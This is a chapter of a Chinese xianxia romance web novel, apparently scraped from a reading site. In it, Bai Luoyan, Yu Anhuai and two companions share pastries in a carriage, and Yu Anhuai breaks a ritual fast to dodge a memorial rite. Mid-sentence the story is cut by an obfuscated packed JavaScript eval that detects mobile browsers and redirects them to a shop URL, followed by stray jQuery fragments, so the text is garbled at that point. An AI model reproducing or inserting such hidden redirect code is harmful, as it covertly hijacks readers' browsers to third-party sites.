这是不要她负责……还是别的什么意思?
白落烟云里雾里,只觉他那燃着幽火的眼瞳沉沉的,如同要摄人三魂七魄一般。
她半点拿不准他的意图,更不敢深究,赶紧把目光错开去了。
算了。
最烦这些说不清道不明的事。
白落烟自暴自弃不再挣扎,由着郁安淮好好地伺候着她登上了仙舆。
她顶着死鱼一般麻木的神情,刚一掀开帘,猝不及防撞上一双懵懂的眼睛。
孟籍和昭离正端坐在下首,昭离垂着眼睛不敢乱看,但孟籍却大大方方看过来,目光中里满是纯然的好奇之意。
怎么哪里都有他?
孟籍的目光在二人之间速速扫了一个来回,这才小心翼翼问道,“淮、淮哥,今天……不带小弟出去吃饭了吗?”
郁安淮无视了他的殷切目光,专心将白落烟放在软垫上落座,不厌其烦理着她散乱的衣襟。他闻言头也不抬,只平淡吐出一字,端得是言简意赅。
“滚。”
“哦。”孟籍既不记仇,也不见难过。他麻利起身,依旧规规矩矩,道,“白家主,二位兄长,阿籍就少陪了。”
不准走!
人算不如天算!
她方才还正发愁呢,不知该如何在仙舆上应对郁安淮的发难。如今正好孟籍送上门来,这正是天赐良机,怎么能放他走呢!
白落烟心头一喜,忙出声阻止道,“站住!”
这一声太大也太突兀,三人都朝她望过来。
白落烟轻咳,赶紧找补道,“咳……一起去吃个饭呗,正好我也饿了。”
孟籍连连摆手,推辞道,“着实多有不便,淮哥待会儿要杀人了,改日,改日……”
“有吗?”白落烟狐疑回头。
郁安淮闻言抬起眸子来,脸上没有一丝戾气的痕迹。
他取了桌上温着的白玉壶,斟了杯热酒递到她唇边来,笑得无辜又温良,“没有的事。”
孟籍:“……”
白落烟浅啜一口热酒转回身来,见孟籍又快要缩成一团了,有些于心不忍。
她对那欲言又止的小少年出言安抚道,“别怕,放心吧,不惹他生气的时候他脾气可好了。”
此言一出,不仅是孟籍睁大了眼,连那面无表情垂着眼的昭离都呼吸一滞,眉目几不可查地动了一下。
白落烟这才意识到自己情急之下说了一句多废话的废话,这话连她自己都不敢信。
“小弟……小弟还是告辞,告辞为妙……”孟籍见势不对,干笑着往车门方向挪。
白落烟懒得再费口舌,手往袖中一探。
“当啷!”
那柄刚刚斩过魔物的菜刀被她随手丢在了几案上。
孟籍身子一僵,面上天人交战,脚步却慢吞吞地向回挪去,老老实实地在昭离身边坐下了。
白落烟这才满意地倚了回去。
其实,对于这个孟小世子,她还是挺好奇的,眼下正是打探的机会。
她不去看郁安淮,目光略过孟籍缠在手腕上的咒带,顺势打开了话头,“适才我见孟小公子遮着眼睛,此时为何又不遮了呢?”
孟籍被问到了熟悉的话题,也放松了些,不再僵硬的干坐在一旁。
原来,天璇孟家人的眼睛多有异能,通阴阳,辨真伪都不是稀奇事。
然而如此一来,旁人便会生出被人窥伺之感,十分不适。再加上他们孟家人与陌生人对视久了也会不舒服,便用咒带遮眼,图个两头行方便。
而这里都是熟人,就没什么必要了。
孟籍自小在与世隔绝的古神殿长大,心思很是单纯。白落烟问什么,他知无不言言无不尽。
一来二去,白落烟这才知道,孟籍小时候孤单得很,就喜欢粘着郁安淮和昭离玩。但郁安淮嫌弃他年幼聒噪,不爱理他,所以可以说是昭离一手养大了他们两个。
孟籍长大后唯郁安淮马首是瞻,办事尽心尽力,郁安淮对他另眼相看,偶尔也带着他混闹。
古神殿的食物是出了名的难吃,孟籍矜贵挑食,又是长身体的年纪,总是吃不饱。纵然郁安淮辟谷多年,但只要去古神殿办事,回来的时候总会把这小尾巴稍上,带他出来打打牙祭。
如此看来,郁安淮对孟籍倒也并非全无师兄弟的情分。
“淮哥。”话聊开了,孟籍也胆子大了些,笑嘻嘻开口道,“巫大人吩咐说,高家那边有个七天的安魂祭,想请您亲自主祭,这样更能安抚民心。”
郁安淮正从冰盘里捻出一粒紫汪汪的葡萄,他的手刚用雪水盥过,还带着几分湿意。
他垂着眼睫,小心地撕开轻薄的果皮,露出饱满晶莹的果肉来。
这祭祀似乎对于他而言是举手之劳,至少比剥葡萄容易得多,他眼皮都没抬,随口就应了。
等剥好了,他自己没有享用,反而托着那完美无暇的果肉送到白落烟唇边。
他状似无意问道,“小枝要去看看吗?”
白落烟下意识张口接了,清甜的果汁在唇齿间化开,“不了吧,我实在太累了,要好好休息几日才行。”
太好了!正好有摆脱郁安淮的机会!哪怕只是七天!
郁安淮也不多劝,只一点头,又去剥下一颗去了。
白落烟瞧着他修长的手指一颗颗剥着葡萄,从生疏渐渐利索,莫名笑了,“你瞧你这做派,像不像那话本子里的妖妃?”
“哦?”郁安淮眉梢轻轻一扬,又托起一颗剥好的葡萄递到她唇畔,“那我可就要向大王讨赏了。”
白落烟没忍住,噗嗤一声笑了,“好,该赏。”
灵石珠宝他自然看不上眼,白落烟略一思忖,问,“你吃过栗子酥吗?”
郁安淮茫然摇摇头。
白落烟得意,不出她所料!
她家不远处深巷子里有一家栗子酥,那可是老字号,美味十年如一日,简直是天上有地上无。
现在又累又饿,实在是馋这一口。白落烟来了劲头,特别吩咐让仙舆绕了道,吩咐昭离去买了些栗子酥来。
昭离不多时就回来了,他怀里抱着好几大包点心,诱人的甜香都从扎紧的油纸包里漫了出来。
白落烟打开油纸,见里面除了栗子酥,还有菡萏芙蓉糕,甜枣核桃糕,桂花酥酪卷,甚至还有一大包琥珀碎玉松子糖。
她指指栗子酥,对郁安淮道,“不是要讨赏么,尝尝?”
郁安淮只瞧了一眼便扭开头,他拿乔得很,冷哼一声,傲慢道,“呵,小孩子家的零嘴儿,我才不……”
白落烟趁他张口说话的空当,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822926|187006||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
取了一块直接往他嘴里塞。
郁安淮却好像早有防备,反手就捉住了她的手腕。
他面上三分得意,指腹若有若无地摩挲着她的掌心,带起一阵细微的痒意,“故技重施,我又岂能再让你如愿。”
白落烟:“……”
他不说她都快忘了,他还有脸说呢?!
二人初遇的时候正是神女大祭,这厮居然以为她是剑修奸细,险些把她活祭。那时候,她也是塞了郁安淮一块点心。
白驹过隙,二人之间却早已地覆天翻难以言说。
郁安淮神色似有所感,但白落烟回忆起当时狼狈,只剩下一肚子气!
“行,那你别吃了。”
白落烟亲了郁安淮原本还理亏,但如今越想越气,她收回手,在栗子酥上恶狠狠啃了一大口,“没口福的东西。”
“淮哥!等等!不要吃!”孟籍拿起一块,忽然脸色大变,急声喊道。
白落烟咀嚼的动作顿了顿,难道有毒?不会吧,老板奶奶人很好的……
“这点心里有荤油!”孟籍常年吃素,点心刚凑近鼻尖就发现了。
白落烟:?
经了孟籍一番解释白落烟才明白,她差点又闯祸了!
原来,祭祀沟通阴阳三界,仪式之前主祭之人要严格斋戒至少七日。若是遇到上尊神女大祭那般宏大的仪轨,几乎小半年都只有清水和青菜可以入口,沾些滋味的调料都不会碰的。
郁安淮修为深不可测,早已习惯辟谷,自然随时都可以主祭,但他若是吃了这栗子酥,那可就出大事了。
“还好淮哥你没吃……”孟籍拍拍心口,“若是因为这种事推迟安魂祭,巫大人定会震怒的。”
巫大人震怒?白落烟撇撇嘴,心道,你淮哥能少骂巫大人几句他就该烧高香了。
白落烟正要把栗子酥拿得离郁安淮再远些,却见他唇角忽然勾起一个极清浅的弧度。
下一刻,原本推拒不已的他居然主动俯低身子,就着白落烟的手,坦坦荡荡咬下一大口栗子酥来!
柔软的唇在她的指尖掠过,白落烟猛然一个激灵,缩手道,“……哎!我咬过的!”
孟籍也惊呆了:“怎么……!”
趁着孟籍张口结舌,郁安淮倾身过去,无情夺走了他手里的栗子酥,把它随手丢给了昭离。
做完这一切,他安然坐了回来,慢条斯理地细细品味,在孟籍惊恐的神色中把食物咽下去了。
“的确唇齿留香。”他的目光朝她浅浅飘过来,转瞬又勾回。
“真是不巧。”郁安淮转过头,对着孟籍绽开一个如沐春风的笑,“所以,现在高家安魂祭的主祭是你了。”
孟籍:“……”
白落烟:“!!!”
坏了!!!
“哎,无端又多了七日空闲来陪你,真是天降的大好事呀。”他微微倾过身子,温热的气息拂过她耳畔,带着掩饰不住的快意。
郁安淮这厮颠倒黑白不说,更是得了便宜还卖乖,用神女显灵把自己的恶行统统遮掩。
他声音沉沉的,尾音却愉悦地微微扬起,“拜神女娘娘……果然是能得到庇佑的。”
白落烟不语他也不恼,眸子里笑影流转。
“小枝,你怎么看上去……不是很开心啊?”